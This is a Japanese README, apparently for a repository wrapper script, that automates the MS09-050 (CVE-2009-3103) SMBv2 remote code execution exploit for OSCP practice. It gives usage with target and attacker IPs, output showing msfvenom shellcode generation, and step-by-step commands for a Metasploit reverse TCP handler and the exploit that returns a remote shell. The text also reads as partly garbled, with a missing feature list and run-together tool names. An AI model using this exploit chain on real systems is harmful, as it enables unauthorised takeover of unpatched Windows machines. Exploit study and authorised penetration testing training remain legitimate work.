
MS09-050 (CVE-2009-3103) エクスプロイトをワンライナーでセットアップ。面倒な作業もデバッグも不要で、そのまま動きます。
世に出回っているほとんどの MS09-050 スクリプトは、手動でのシェルコード注入が必要だったり、ハンドラとのタイミング問題があったり、単純に動作しなかったりします。このラッパーは以下のことを行います:
時間が重要となる OSCP 対策のために作られました。
msfvenommsfconsolepython2rpcclient (通常はプリインストールされています)./ms09_050.sh <TARGET_IP> <YOUR_IP> [PORT]
./ms09_050.sh 192.168.233.40 192.168.45.232 443
出力:
[*] Target: 192.168.233.40 | LHOST: 192.168.45.232 | LPORT: 443
[*] Generating shellcode...
[+] Files created:
- exploit.py
- handler.rc
=== RUN ===
Terminal 1: msfconsole -q -r handler.rc
Terminal 2: python2 exploit.py 192.168.233.40
ターミナル 1 - ハンドラを起動:
msfconsole -q -r handler.rc
待機: Started reverse TCP handler on ...
ターミナル 2 - エクスプロイトを実行:
python2 exploit.py 192.168.233.40
ターミナル 1 でシェルを確認。
windows/shell/reverse_tcp) を使用 - このエクスプロイトのステージャーと確実に動作元のエクスプロイトは ohnozzy の MS09-050 PoC に基づいています。
MIT - 好きなように使ってください。ただし、悪用だけはしないでください。